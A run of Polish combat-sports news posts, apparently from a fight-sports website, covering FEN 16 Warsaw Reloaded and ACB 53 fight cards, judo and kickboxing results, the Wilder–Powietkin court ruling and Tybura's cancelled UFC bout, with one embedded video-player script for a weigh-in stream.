Walka z Kamilem Gniadkiem (22 lata, 178 cm, 11-4-1) będzie największym wyzwaniem w zawodowej karierze Łukasza Stanka, bowiem „Undertaker”, choć jest rówieśnikiem katowiczanina, jest zawodnikiem dojrzałym i posiadającym znacznie większe doświadczenie. Reprezentant Berserkers Team Szczecin, który w profesjonalnym MMA debiutował jako siedemnastolatek, na gali FEN 16 Warsaw Reloaded powalczy o czwarte zwycięstwo z rzędu w nowej dla siebie kategorii półśredniej (wcześniej walczył w wadze lekkiej). W trzech ostatnich walkach Gniadek balachą pokonał Niemca Alexandra Vogta na gali IFO Europe: East Meets West, później podczas FEN 13 Summer Edition w swoim debiucie w Fight Exclusive Night duszeniem zza pleców poddał Klemensa Ewalda, a na niedawnej gali FEN 15 Final Strike już w pierwszej rundzie skrętówką wygrał z Francuzem Vincentem Del Guerrą.

FEN 16 Warsaw Reloaded to drugie wydarzenie organizacji Fight Exclusive Night w Warszawie. W walce wieczoru gali na Torwarze zmierzą się niepokonany od blisko 4 lat Kamil "Bomba" Łebkowski z Brzylijczykiem Gabrielem "Gabito" Silvą, którego z narożnika będzie wspierał starszy, walczący w UFC brat Erick Silva. Kibice obejrzą też pojedynki MMA z udziałem Michała Oleksiejczuka, Sebastiana Kotwicy, Pawła Pawlaka, Ireneusza Szydłowskiego i Bartłomieja Kopery, a w pojedynkach w formule K-1 wystąpią Arkadiusz Wrzosek, który zmierzy się z Arturem Bizewskim, oraz Radosław Paczuski i Marcin Szreder.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Powietkin ma dług wobec Wildera

Deontay Wilder wzbogaci się o 4,5 miliona dolarów. Taką kwotę na konto amerykańskiego mistrza WBC wagi ciężkiej musi przelać Andriej Riabiński, promotor Aleksandra Powietkina.

Na szumnych zapowiedziach się skończyło. Wilder i Powietkin nie spotkali się na ringu w Moskwie, ale musieli wyrównać rachunki. W tym przypadku poszkodowany, a zarazem wygrany był Amerykanin. Ale teraz ruch może wykonać druga strona.

Kasa dla Wildera

Kilka dni temu informowaliśmy, że sprawa niedoszłej walki Wildera z Powietkinem znajdzie swój finał na sali sądowej. Mistrz świata WBC spędził wiele godzin na sali treningowej z myślą o majowej walce z popularnym „Saszą”. Nie spodziewał się, że pojedynek zostanie odwołany z powodu stosowania przez rywala meldonium. Do Rosjanina przylgnęła łatka dopingowicza i trudno było go tłumaczyć. Trzy kwietniowe badania dały wynik negatywny, jednak próbka pobrana 27 kwietnia wskazywała na obecność niedozwolonych środków.

Można stwierdzić, że 37-latek urodzony w Kursku dostarczył sobie kłopotów, jednak, jak pokazała przyszłość, nic sobie z tego nie zrobił. Miał walczyć z Bermane Stivernem, ale po raz kolejny w tle pojawiły się problemy dopingowe. W grudniu Rosjanin wszedł do ringu, jednak walczył z Johannem Duhaupasem. Pojedynek zakończył się triumfem byłego mistrza WBA.

Powietkin znalazł się na ustach wszystkich. Coraz więcej osób zastanawia się, jaka będzie przyszłość rosyjskiego pięściarza. Dopingowe wpadki Powietkina stały się przyczynkiem do jego kolejnych problemów. Obóz Deontaya Wildera wytoczył sprawę cywilną przeciw ekipie Aleksandra Powietkina. Mistrz świata WBC wobec poniesionych strat chciał otrzymać rekompensatę finansową.

Czy Powietkin odwoła się?

Nowojorski sąd z bliska przyjrzał się sprawie i zdecydował, że promotor Rosjanina Andriej Riabiński musi wypłacić mistrzowi świata WBC 4,5 milionów dolarów za niedoszłą walkę.

Linia obrony Powietkina zwraca uwagę, że pięściarz stosował meldonium, ale… we wrześniu 2015 roku, kiedy specyfik był dozwolony. Przypomnijmy, substancja na liście zakazanych znalazła się wraz z początkiem 2016 roku. Meldonium stało się powodem kłopotów wielu sportowców. Wracając do Powietkina, obóz Rosjanina ma prawo odwołać się od wyroku sądu. Warto dodać, że wymiar sprawiedliwości nie miał wątpliwości, co do stosowania specyfiku przez rosyjskiego boksera.

Co ciekawe, w sierpniu ubiegłego roku WBC wydało oświadczenie w sprawie Powietkina. Zdaniem organizacji, trudno udowodnić, że pięściarz zażył meldonium po 1 stycznia 2016 roku. Ciekawe, czy ponownie będziemy mieli do czynienia z telenowelą w wadze ciężkiej. W ubiegłym roku byliśmy świadkami wielowątkowego serialu z Tysonem Fury'm w roli głównej. Zapowiada się powtórka z rozrywki? 

KM

15-letnia Nikola najlepsza we Włoszech

Włoska Follonica okazała się wyjątkowa dla Nikoli Szlachty (44kg). 15-latka wygrała zawody Pucharu Europy w judo. Z kolei w turnieju Grand Slam w Paryżu wystąpiła tylko Arleta Podolak (57kg). Drużynowa mistrzyni Europy szybko pożegnała się z rywalizacją.

Na talenty trzeba chuchać i dmuchać, zapewniając im przy tym jak najlepsze warunki do rozwoju. Warto pamiętać, że nie cierpimy na nadmiar mistrzów, więc młode perełki stanowią ogromny kapitał.

Rosjanie panują

Często patrzmy na to, co jest na pierwszym planie, czyli na rywalizację seniorską. Myśląc o przyszłości warto odnieść się do startów młodszych zawodników. W ostatni weekend odbyła się rywalizacja w Pucharze Europy w judo we włoskim mieście Follonica. Powiedzieć, że Rosjanie zdominowali cały turniej to jakby nic nie powiedzieć. Reprezentanci Sbornej zmietli wszystkich i pokazali zdecydowanie, kto rozdaje karty i za kilka lat może władać na tatami. Należy wziąć poprawkę, że mówimy o zmaganiach na Starym Kontynencie, a nie na świecie. Wracając do Włoch, Rosjanie wywalczyli aż 26 medali! Byli w tym względzie lepsi od Italii o 17 krążków! 

Warto podkreślić, że w rywalizacji męskiej Rosjanom uciekło złoto w kategorii 50kg. W finale Csanda Feczko z Węgier pokonał Georiego Tretiakova. Wśród pań triumfowała tylko jedno Rosjanka. Glafira Borisova wygrała zmagania w 40kg.

Nas cieszy bardzo dobry występ Nikoli Szlachty (44kg), dla której zwycięstwo we Włoszech jest najważniejszym dokonaniem w dotychczasowych startach. 15-latka wygrała cztery pojedynki i stanęła na pierwszym stopniu podium. Dobry występ Nikoli sprawił, że Polska zajęła piąte miejsce w klasyfikacji medalowej. Ale nie tylko Szlachta może być zadowolona z siebie. Dobry występ zanotowała Kinga Wolszczak (+70kg), która w zeszłym roku była trzecia podczas zawodów w Fuengiroli. We Włoszech 15-latka stoczyła cztery walki, z których wygrała dwie i zajęła piąte miejsce. Siódma była Paulina Szlachta (48kg), a na dziewiątym miejscu został sklasyfikowany Kacper Kubiak (90kg).

Nie było powtórki

Arleta Podolak (57kg) miała dobre wspomnienia z Paryża, gdzie rok temu zajęła piątą pozycję w zawodach Grand Slam. Tegorocznej wizyty w stolicy Francji nasza zawodniczka nie będzie wspominała zbyt dobrze. Lepsza od Polki okazała się Kubanka Aliuska Ojeda, która wygrała przez waza-ari. Pogromczyni Podolak zakończyła zmagania na siódmej lokacie.

Turniej w Paryżu był mocno obsadzony, bo wystartowało w nim 409 judoków. Najlepiej zaprezentowali się Japończycy, którzy zdeklasowali rywali i zdobyli aż 13 medali, w tym siedem złotych. Drudzy Koreańczycy zapisali na swoim koncie pięć krążków. Trzeci Francuzi wywalczyli 11 medali, ale tylko jedno złoto przy sześciu brązach i czterech srebrach.

Fot. judobase.org

KM

Mike Passenier przygotuje zawodniczki LFN do kolejnej gali!

Tym razem organizacja przygotowała dla swoich zawodniczek coś naprawdę wyjątkowego. Pod koniec lutego dziewczyny z LFN Team spotkają się na obozie sparingowym w Amsterdamie. Miejscem ich treningów będzie legendarny klub holenderskiej szkoły kickboksingu, który jest domem dla takich sław jak Badr Hari, Gokhan Saki, Alistair Overeem, Murthel Groenhart, Melvin Manhoef, Artur Kyshenko, czy dobrze znanej fanom LFN, Anissy Haddaoui. Obóz jest jednym z elementów przygotowań do pierwszej w tym roku gali Ladies Fight Night, którą zaplanowano na pierwszą połowę kwietnia!

Obóz treningowy Ladies Fight Night w Holandii odbędzie się w dniach 20-26 lutego. Amsterdam wybrano nie przypadkowo. Mike’s Gym to legendarny klub otwarty dla wszystkich pragnących doświadczyć treningu na światowym poziomie, w obecności mistrzów. Autorem tego projektu jest charyzmatyczny Mike Passenier. To właśnie pod okiem jego i innych wykwalifikowanych trenerów, najzdolniejsze fighterki LFN Team będą szlifować umiejętności przed planowaną w kwietniu, kolejną emocjonującą galą LFN.

Do Amsterdamu pojedzie aż 10 zawodniczek. Oprócz dziewczyn zakontraktowanych przez żeńską organizację – Katarzyna Posiadała, Judyta Rymarzak, Monika Bohn, Hanna Gujwan, Patrycja Krawczyk, Katarzyna Sadura, Sylwia Juśkiewicz oraz Katarzyna Biegajło na obóz pojadą także dwie dodatkowe zawodniczki Katarzyna Lubońska (KSW) oraz Małgorzata Dymus (Puncher Wrocław).

Pierwsza w tym roku gala Ladies Fight Night odbędzie się już na początku kwietnia w Poznaniu. Organizatorzy zdradzają, że w tym roku planują aż cztery sportowe widowiska w różnych zakątkach Polski. Więcej szczegółów wkrótce!

www.lfn.com.pl

Kotwica kontra Medyński na gali FEN 16 Warsaw Reloaded

Rok temu na FEN 11 Warsaw Time Sebastian Kotwica stoczył bardzo dobry, lecz przegrany pojedynek z Bartłomiejem Koperą. 11 marca powróci na Torwar z misją dopisania do swego rekordu kolejnego zwycięstwa. Na FEN 16 Warsaw Reloaded jego plany spróbuje pokrzyżować inny świetny prospekt, debiutujący w Fight Exclusive Night Arkadiusz Medyński.

Sebastian Kotwica (24 lata, 170 cm, 7-2, 5 KO, 1 SUB) uchodzi za jeden z największych talentów polskiego MMA w wadze piórkowej. Reprezentant krakowskiej Szkoły Walki Drwala wywodzi się z zapasów – jest wielokrotnym mistrzem Polski i zdobywcą Pucharu Polski w różnych kategoriach wiekowych, reprezentował także Polskę na mistrzostwach Europy. W zawodowym MMA debiutował w listopadzie 2013 roku, a w klatkoringu FEN niespełna dwa lata później. Dla organizacji Fight Exclusive Night stoczył już dwie walki – w pierwszej na gali FEN 8 Summer Edition pod koniec pierwszej rundy duszeniem zza pleców poddał Łukasza Demczurę, w drugiej na FEN 11 Warsaw Time po zaciętym boju przegrał na punkty z Bartłomiejem Koperą. Po tej porażce ambitny wojownik z Kraśnika wyjechał na treningi w słynnej Jackson Wink Academy w Albuquerque w USA. Pobyt za oceanem przyniósł znakomite efekty  – po powrocie Kotwica w trzech kolejnych walkach trzykrotnie efektownie nokautował rywali, spędzając w ringu w sumie nieco ponad 6 minut.

Pół roku starszy Arkadiusz „Medyk” Medyński (25 lat, 170 cm, 5-1, 1 SUB) również stopniowo pnie się w górę rankingów polskiego MMA, każdą kolejną walką potwierdzając swoje nieprzeciętne umiejętności. Zawodnik Malinowski Team Żary/Żagań, podobnie jak Sebastian Kotwica, przygodę ze sportami walki rozpoczynał od zapasów, tyle że w stylu klasycznym, zdobywając wiele medali na krajowych imprezach rangi mistrzowskiej. Pierwszą zawodową walkę na zasadach MMA „Medyk” stoczył w styczniu 2013 roku, przegrywając na punkty z Krzysztofem Dobrzyńskim. To jego jedyna porażka w karierze – z pięciu kolejnych starć podopieczny trenera Pawła Malinowskiego wychodził już zwycięsko, pokonując m.in. Łukasza Kuliga i Dawida Gabarę. Na gali FEN 16 Warsaw Reloaded Arkadiusz Medyński zadebiutuje w Fight Exclusive Night.

11 marca na Torwarze kibice obejrzą jeszcze dwie inne walki w kategorii piórkowej – main eventem gali FEN 16 Warsaw Reloaded będzie starcie Kamila Łebkowskiego z Brazylijczykiem Gabrielem Silvą, a w karcie głównej znalazł się także pojedynek z udziałem Bartłomieja Kopery. W innych walkach na zasadach MMA zawalczą tego wieczora m.in. Michał Oleksiejczuk z Riccardo Nosiglią, Ireneusz Szydłowski z Pawłem Pawlakiem i w walce o pas Kamil Gniadek z Pawłem Żelazowskim, a w pojedynkach w formule K-1 wystąpią Arkadiusz Wrzosek, który zmierzy się z Arturem Bizewskim, oraz Radosław Paczuski i Marcin Szreder.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

ACB 53 już 18 lutego! Znamy pełną kartę walk na galę w Olsztynie.

Jedna z najsilniejszych organizacji MMA na świecie, – ACB – wraca do stolicy Warmii i Mazur. Tym razem fani sportów walki zobaczą aż 16 pojedynków w zawodowym MMA na najwyższym poziomie. Podczas ostatniej gali kibiców w Hali Urania do czerwoności rozgrzała walka wieczoru z udziałem Adriana Zielińskiego. Nie tylko ten olsztyński zawodnik po porażce podczas poprzedniej gali ACB, będzie chciał pokazać na co naprawdę go stać. Karta drugiej olsztyńskiej gali ACB została wypełniona mocnymi nazwiskami i zgodnie z motto organizacji „Less show more fighting”, szykuje się mnóstwo zawziętych pojedynków.

W walce wieczoru zobaczymy Adriana Zielińskiego (16-5), który skrzyżuje rękawice z Rasulem Yakhyaevem (10-3-1). Polak za wszelką cenę będzie chciał wygrać i wymazać z pamięci fanów porażkę przez poddanie, na poprzedniej gali ACB w jego rodzinnym Olsztynie. Jego przeciwnik też walczył na gali ACB 46. Przypomnijmy, że pojedynek Rasula Yakhyaeva z Łukaszem Rajewskim zakończył się jako nierozstrzygnięty z uwagi na nieumyślny faul Rosjanina. Zieliński musi pamiętać, że Yakhyaev to mocny zawodnik, który 70% zwycięskich pojedynków kończył już w pierwszej rundzie!

Przed walką wieczoru widzów czeka też mocna karta główna z udziałem siedmiu Polaków. Po przerwie powraca Karol Celiński (12-6-1), dla którego będzie to debiut w organizacji ACB. Olsztynianin zmierzy się ze doświadczonym zawodnikiem, Łukaszem Parobcem (12-5-0). Dla Parobca, mieszkającego na co dzień Wielkiej Brytanii również będzie to debiut w organizacji i jednocześnie pierwsza okazja do stoczenia walki w kraju.

Na gali w Olsztynie nie mogło też zabraknąć wielkiego talentu polskiego MMA, klubowego kolegi Celińskiego – Pawła Kiełka. Młody, 21 – letni wojownik stawi czoła pochodzącemu z Angoli Arturowi Lemos. Obydwaj zawodnicy legitymują się identycznym rekordem zwycięstw i porażek a stawianie na wyrównane pojedynki to jeden z wyróżników ACB.

Organizacja zakontraktowała również niepokonanego od ostatnich czterech walk Artura Kamińskiego oraz Patryka Wołodkiewicza i Pawła Karwowskiego z klubu Berkut Arrachion Olsztyn, Rafała "Papaja" Czechowskiego z klubu Grappling Kraków i Łukasza Szczerka z Berserkers Team Stargard Szczeciński, który po kilku miesiącach od ostatniej porażki wraca z zamiarem odbudowania rekordu!

Druga gala ACB w Olsztynie będzie 4. galą tej organizacji w Polsce i 53. na świecie. W tym roku przypada 5-lecie ACB, która powstała w marcu 2012 roku i to właśnie w Polsce zorganizowała swoją pierwsza galę poza siedzibą organizacji, która mieści się w Groznym.

Gala ACB 53

Hala Urania, al. Piłsudskiego 44, Olsztyn.

Start: godz. 18:00.

Bilety dostępne na www.ticketpro.pl oraz w sieci sklepów Empik.

KARTA WALKI ACB 53

Walka wieczoru:

70 kg.: Adrian Zieliński vs. Rasul Yakhyaev

Karta główna:

84 kg: Mikhail Tsarev (31-6) vs. Jonas Billstein (17-5)

93 kg: Karol Celiński (12:6) vs. Łukasz Parobiec (12-5)

70 kg: Pawel Kielek (7-2) vs. Artur Lemos (7-2)

77 kg: Ibragim Tibilov (10-7) vs. Mindaugas Verzbickas (11:4)

66 kg: Lamberd Akhyadov (6:4) vs. Rafał Czechowski (6:3)

77 kg: Aslambek Arsamikov (4:2) vs. Łukasz Szczerek (4:2)

70 kg: Bay Ali Shaipov (2:0) vs. Artur Kamiński (5:1)

77 kg: Jokhar Duraev (2:0) vs. Patryk Wołodkiewicz (2:0)

77 kg: Umar Gaisumov (2:0) vs. Paweł Karwowski (2:0)

Karta wstępna:

66 kg: Mehdi Baydulaev (3:0) vs. Murat Aktas (5:2)

66 kg: Adlan Mamaev (1-0) vs. Bahtiyer Abdulloev (1-0)

66 kg: Mansur Arsakhanov (1-0) vs. Paweł Lisiewski (0-0)

70 kg: Musilm Abdulaev (1-0) vs. Maciej Kaliciński (2-0)

61: Dukhvaha Astamirov (1-0) vs. TBA

57: Shamil Akhmaev (1-0) vs. Kamil Unruh (0-0)

——————————————————————————

AKREDYTACJA DLA MEDIÓW

Przedstawicieli mediów zapraszamy na oficjalną ceremonię ważenia, która odbędzie się 17 lutego (piątek) o godz. 18:00 w Galerii Warmińskiej oraz na sobotnią galę. Wymagana akredytacja.

Zgłoszenia prosimy kierować na adres mailowy: filip.lewandowski@socialtigers.pl

Wyniki Gali Pałuska Kickboxing Night 3

Wyniki Gali Pałuska Kickboxing Night 3:

1. K1 67 kg Tomasz Grądzki Husarz Białystok vs Piotr Jasnoch Panzer Suwałki
zwycięzca: Piotr Jasnoch

2. K-1 74 kg Mateusz Struzik Thor Szkoła Walki Ełk vs Cezary Arcimowicz Panzer Suwałki
– zwycięzca: Cezary Arcimowicz
3. K1n 80 kg Arvydas Kryzevicius Vilkas / Litwa vs Patryk Szyszko Palestra Warszawa
– zwycięzca: Arvydas Kryzevicius                                
4. K1 68 kg Ovidijus Dirzys Impulsas / Litwa vs Szymon Dembowski Panzer Suwałki
– zwycięzca: Ovidijus Dirzys                                                     
5. K-1 73 kg Lukas Jablonskij Vilkas / Litwa vs Mateusz Gudanowski Panzer Suwałki
– zwycięzca: Lukas Jablonskij                                                    
6. F-c 91 kg Adrian Kowalkowski Fight Club Działdowo vs Tomasz Piechocki KKS Sporty Walki Poznań
– zwycięzca: Adrian Kowalkowski
7. F-c 56 kg Paulina Szewczuk SKKB Lublin vs Dorota Godzina DSF Team -X Fight Piaseczno
– zwycięzca: Dorota Godzina               
8. K1 81 kg Aleksy Zienkiewicz Fight Academy Ostrołęka vs Rafał Kamiński Panzer Suwałki
– zwycięzca: Rafał Kamiński

I Walka Wieczoru
9. F-c 81 kg Michał Ciach KKS Sporty Walki Poznań VS Robert Krasoń Tom Center
– zwycięzca: Robert Krasoń
II Walka Wieczoru                                            
10. K1 81 kg Karolis Liukaitis Otso Gym / Litwa vs Mateusz Żukowski AS Fighters Team Pisz
– zwycięzca: Karolis Liukaitis

Arbi Shamaev nowym zawodnikiem federacji FEN

Arbi Shamaev, jeden z najciekawszych zawodników MMA młodego pokolenia w Polsce, podpisał kontrakt z organizacją Fight Exclusive Night. 26-letni fighter WCA Fight Team zadebiutuje w klatkoringu FEN już 11 marca podczas gali FEN 16 Warsaw Reloaded na Torwarze.

Arbi Shamaev (26 lat, 172 cm, 8-3, 5 SUB, 1 KO) zaliczany jest do czołówki polskich zawodników kategorii piórkowej, ale w federacji Fight Exclusive Night utalentowany czeczeński wojownik wzmocni dywizję kogucią, w której dołączy do takich świetnych zawodników, jak Kamil Selwa i Piotr Olszynka.

Urodzony w Groznym, ale mieszkający obecnie w Warszawie Arbi Shamaev jest dwukrotnym mistrzem Polski w amatorskim MMA i zwycięzcą mistrzostw Polski w grapplingu. W zawodowym MMA debiutował w 2011 roku. W ciągu sześciu lat stoczył 11 walk, z który osiem wygrał (5 poddań i 1 nokaut) i trzy przegrał. Za najlepszy występ w swojej karierze podopieczny trenera Roberta Jocza uważa zwycięski pojedynek z Helsonem Henriquesem. Czeczeniec wygrywał także z takimi zawodnikami, jak Łukasz Grochowski, Białorusin Semen Tyrlya i Tomasz Zawadzki – pokonując tego ostatniego, zdobył w 2014 roku pas mistrza federacji 3F.

FEN

FEN 16 Warsaw Reloaded – oficjalny plakat

Do FEN 16 Warsaw Reloaded na Torwarze pozostały już tylko 4 tygodnie, najwyższa więc pora przedstawić oficjalny plakat drugiej w historii warszawskiej gali organizacji Fight Exclusive Night.

Przypomnijmy, że gala FEN 16 Warsaw Reloaded odbędzie się już 11 marca na Torwarze, a jej głównymi wydarzeniami będą walka wieczoru niepokonanego od blisko 4 lat Kamila "Bomby" Łebkowskiego z utalentowanym Brazylijczykiem Gabrielem "Gabito" Silvą, bratem zawodnika UFC Ericka Silvy, oraz walka o pas mistrzowski w MMA wagi półśredniej Pawła Żelazowskiego z Kamilem Gniadkiem. W klatkoringu FEN tego wieczora wystąpią także inni znakomici fighterzy MMA, jak Michał Oleksiejczuk, Bartłomiej Kopera, Paweł Pawlak, Ireneusz Szydłowski i Arbi Shamaev, oraz czołówka polskich zawodników K-1, m.in. Arkadiusz Wrzosek, Radosław Paczuski i Marcin Szreder.

Bilety na galę FEN 16 Warsaw Reloaded do kupienia na Eventim.pl (goo.gl/bM47vm) i KupBilet.pl (goo.gl/Wdw5Pz). Bilety VIP i zamówienia grupowe – tel. 601 877 229.

Pucharowe zmagania w Mysiadle

Za nami zmagania w Pucharze Polski seniorek i seniorów w judo, które odbyły się w podwarszawskim Mysiadle. Najlepiej zaprezentowali się zawodnicy GKS Czarni Bytom, którzy wywalczyli sześć medali.

Wśród startujących w Mysiadle nie brakowało mocnych nazwisk. Na tatami zaprezentował się brązowy medalista mistrzostw Europy w Kazaniu, a także mistrzynie Europy w drużynie Anna Borowska, Karolina Tałach oraz Anna Załęczna.

Faworyci nie zawiedli, choć…

Za niespodziankę należy uznać porażkę w finale kategorii 63kg Karoliny Tałach. W ubiegłym roku mistrzyni Europy w drużynie notowała dobre występy. Wygrała zawody Grand Prix w Zagrzebiu, a także zdobywała medale w Rzymie i Tallinie. W Mysiadle dwie wygrane walki dały jej finał, w którym niespodziewanie lepsza okazała się Dominika Błach. Blisko pięć lat temu o brąz Igrzysk Olimpijskich w Londynie walczył Paweł Zagrodnik. Niespełna 30-letni judoka Czarnych Bytom był faworytem do triumfu w Pucharze Polski w rywalizacji w kategorii 73kg. Wszystko układało się po myśli Zagrodnika, jednak na jego drodze w finale stanął Mateusz Garbacz i to zawodnik UMKS Żak Kielce cieszył się ze zwycięstwa w silnie obsadzonej kategorii 73kg, gdzie wystartowało 28 judoków.

W Mysiadle przypomniał o sobie Aleksander Beta (66kg), który stanął na najwyższym stopniu podium. Judoka KS Gwardii Łódź wygrał pięć walk, ale w jego kategorii zaprezentowało się zaledwie ośmiu zawodników. Piotr Kuczera rozdawał karty wśród zawodników w limicie 90kg. Brązowy medalista ubiegłorocznych mistrzostw Europy w finale uporał się z Tomaszem Szczepaniakiem z Klubu Judo AZS Opole. 

Wśród pań ze zwycięstwa cieszyła się Paula Kułaga (78kg). Brązowa medalista mistrzostw Europy U23 w finale pokonała Darię Tymann. W najcięższej kategorii najlepsza Anna Załęczna (+78kg), jednak o triumf przyszło jej toczyć bój zaledwie z… trzema rywalkami. Trzeba przyznać, że wśród pań rywalizacja była ograniczona ze względu na frekwencję. Najwięcej zawodniczek wystartowało w kategorii 63kg – 12. O zwycięstwo w 52kg rywalizowały tylko trzy judoczki.

Czarni pozostawili wszystkich w tyle

Drużynowo w Mysiadle najlepiej wypadli judocy GKS Czarni Bytom, którzy zdobyli sześć medali (po dwa każdego koloru). W tym przypadku ilość przełożyła się na jakość. Czarni wystawili 12 zawodników, czyli najwięcej spośród całej stawki. Złote medale dla Bytomia zdobyli Barbara Białas (70kg) i Ewa Konieczny (48kg).

Druga pozycja w klasyfikacji medalowej przypadła ekipie KS „Kejza Team” Rybnik, kolejne zajął WKS Śląsk Wrocław. Obie ekipy wywalczyły po dwa złota.

Na koniec garść statystyk. W Mysiadle wystartowało łącznie 25 klubów, co dało 149 zawodników. Zdecydowanie więcej było panów – 108, przy 41 paniach. Podczas Pucharu Polski w judo stoczono 213 walk. Różnica między najmłodszym a najstarszym uczestnikiem zmagań wyniosła 26 lat.

KM

Tybura musi czekać…

Marcin Tybura może mówić o prawdziwym pechu. Ostatnie dni były dla polskiego fightera pełne zawirowań, a ich finał nie jest szczęśliwy dla 31-latka. Tybura nie zaprezentuje się na gali UFC 208.

Polak miał wejść do oktagonu UFC po raz trzeci. Nie pozostaje mu nic innego jak czekać na kolejną szansę. Jedynym pocieszeniem jest to, że Tybura za niedoszłą walkę dostanie… wynagrodzenie.

Zamieszanie z rywalem

Jeszcze kilka dni temu wydawało się, że wszystko jest na dobrej drodze, żeby 11 lutego w Centrum Barclays na Brooklynie 31-latek zmierzył się z Luisem Henrique. Komisja Sportowa stanu Nowy Jork nie dopuściła do występu Brazylijczyka. Powodem takiej decyzji była operacja oczu zawodnika, która miała miejsce… blisko rok temu. Przedstawiciele komisji są niezwykle drobiazgowi i zwrócili uwagę, że z powodu infekcji Brazylijczyk może mieć powikłania zdrowotne. Decyzja zaskoczyła niemalże wszystkich. Warto wspomnieć, że od czasu operacji Luis Henrique stoczył dwie walki.

W miejsce Brazylijczyka wskoczył Justin Willis. Wydawało się, że sytuacja jest opanowana i Marcin Tybura stoczy trzecią walkę w UFC. 29-letni Amerykanin stawia pierwsze kroki w MMA. Willis starciem z Tyburą miał zadebiutować w UFC, ale swoje plany musi odłożyć na bok. Po raz kolejny Komisja Stanowa wybiła się na pierwszy plan. Tym razem zwrócono uwagę na osłabienie organizmu, które spowodowane było szybkim zbijaniem wagi przez Willisa. Jak pech, to pech. Wypada jeszcze dodać, że Tybura miał zaprezentować się w październiku na gali UFC Fight Night 97 w Manilii. Na Polaka czekał mocny Derrick Lewis. Filipińska gala została jednak… odwołana.

Jeżeli szukać jakiegokolwiek pozytywu w całej sytuacji, to należy odnieść się do finansów. Tybura ma otrzymać wynagrodzenie za niedoszłą walkę. Polak nadal czeka na kolejny pojedynek w UFC. W debiucie przegrał z Timothnym Johnsonem, który w marcu zmierzy się z Danielem Omielańczukiem. Starcie z Viktorem Pestą zakończyło się triumfem 31-letniego fightera w drugiej odsłonie.

Plany UFC

Najlepsza organizacja MMA na świecie ma bogate tegoroczne plany. Łącznie kibice będą mogli podziwiać 41 gal, w tym trzynaście pay-per-view. Czyli narzekać na nudę nie można.

W zdecydowanej większości UFC planuje rozwijać się w domu, czyli w USA. Popularność MMA stale rośnie i tamtejszy rynek daje ogromne możliwości oraz szansę zysku. Ponadto, trzy gale odbędą się w Kanadzie, Brazylii oraz na kontynencie azjatyckim. Po dwie zaplanowano w Ameryce Łacińskiej i w Australii. Z kolei pięć wydarzeń rozłoży się na Europę, Środkowy Wschód i Afrykę.

Fot. uno-per-due.blogspot.com

KM

LIVE: FEN 16 Warsaw Reloaded – Ceremonia ważenia

Zapraszamy na transmisję telewizyjną na żywo z oficjalnej ceremonii ważenia przed galą FEN 16 Warsaw Reloaded.

[kod]

FEN 16 Warsaw Reloaded Ceremonia Ważenia

FEN 16 Warsaw Reloaded Ceremonia Ważenia

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Polsko-litewskie porachunki w Suwałkach

Już 11 lutego w hali OSiR w Suwałkach odbędzie się gala Pałuska Kickboxing Night 3, która zapowiada jest jako największe sportowe wydarzenie w północno-wschodniej Polsce. Chciałoby się powiedzieć „oj, się będzie działo”! Czy na pewno? O tym będziecie mogli przekonać się na antenie telewizji FighTime, która przeprowadzi transmisję z gali. 

Gala Pałuska Kickboxing Night 3 cieszy się ogromnym zainteresowaniem. W kasach zostały ostatnie wejściówki. Bilety rozchodzą się szybciej niż ciepłe bułeczki.

Mecz Polska – Litwa

Może brzmi to nieco po piłkarsku, ale sama idea stworzenia spotkania pomiędzy dwoma krajami wzbudza dodatkowe emocje. W tym starciu musi paść rozstrzygnięcie, więc zawodnicy nie będą się oszczędzać. Warto dodać, że rywalizacja odbędzie się na płaszczyźnie K-1. Kibice zobaczą cztery polsko-litewskie starcia. Zaprezentuje się w nich trzech zawodników Panzera Suwałki: Szymon Dembowski (68kg), Piotr Jasnoch (67kg) oraz Matuesz Gudanowski (73kg). Ich rywalami będą kolejno Ovidijus Dirzys, Arnoldas Paszkiavicius i Lukas Jablonskij. W czwartym pojedynku zobaczymy Patryka Szyszko (80kg) z warszawskiej Palestry, który spotka się z Arvydasem Kryzeviciusem.

Organizatorzy rozpoczęli już końcowe odliczanie. Zapewniają, że zadbali o każdy szczegół. – Wiadomo, że są elementy, nad którymi trzeba czuwać, ale spokojnie mogę powiedzieć, że praktycznie wszystko jest gotowe – podkreśla Łukasz Szczodruch, jeden z organizatorów gali Pałuska Kickboxing Night 3.

Kibice zobaczą dziesięć walk, w których wystąpi aż sześciu miejscowych zawodników. Oprócz wcześniej wspomnianych będą to: Rafał Kamiński (81kg), który zmierzy się z Aleksym Ziemkiewiczem, z kolei Cezary Arcimowicz (74kg) otworzy galę pojedynkiem z Mateuszem Struzikiem. Nie zabraknie walk w formule full contact. W Suwałkach zaprezentuje się wielokrotna medalistka mistrzostw Polski Dorota Godzina (56kg) z X Fight Piaseczno. Jej rywalką będzie Paulina Szewczuk. Galę zamknie starcie Michała Ciacha z KKS Sporty Walki Poznań z Robertem Krasoniem z Tom Center. – Cały czas będzie obecne napięcie. Na początku wystąpią mniej znani zawodnicy, ale doskonale znani kibicom z Suwałk, więc atmosfera powinna być gorąca. Im dalej, tym mocje będą rosły – zapewnia Szczodruch.

Czas na finał

Przygotowanie gali to nie lada wyzwanie. Organizatorzy muszą podjąć ogromny wysiłek i wszystkiego dopilnować. Zwieńczeniem ciężkiej pracy ma być efektowna gala. – Przygotowania rozpoczęliśmy około pół roku temu. Mocno ruszyliśmy trzy miesiące temu i cały czas nad wszystkim czuwamy. Teraz czekamy na efekt. Cieszymy się, że praktycznie wszystkie bilety zostały sprzedane. Zostało jeszcze około 80 wejściówek – tłumaczy organizator gali Pałuska Kicbboxing Night.

Zebrani w hali OSiR będą ściskać kciuki za zawodników Panzera. – Chcę, żeby nasi podopieczni dali z siebie wszystko. Jeśli zostawią serce na ringu, to będę z nich zadowolony – mówi Szczodruch.

Początek gali o 20.00.

KM

Omielańczuk czysty jak łza

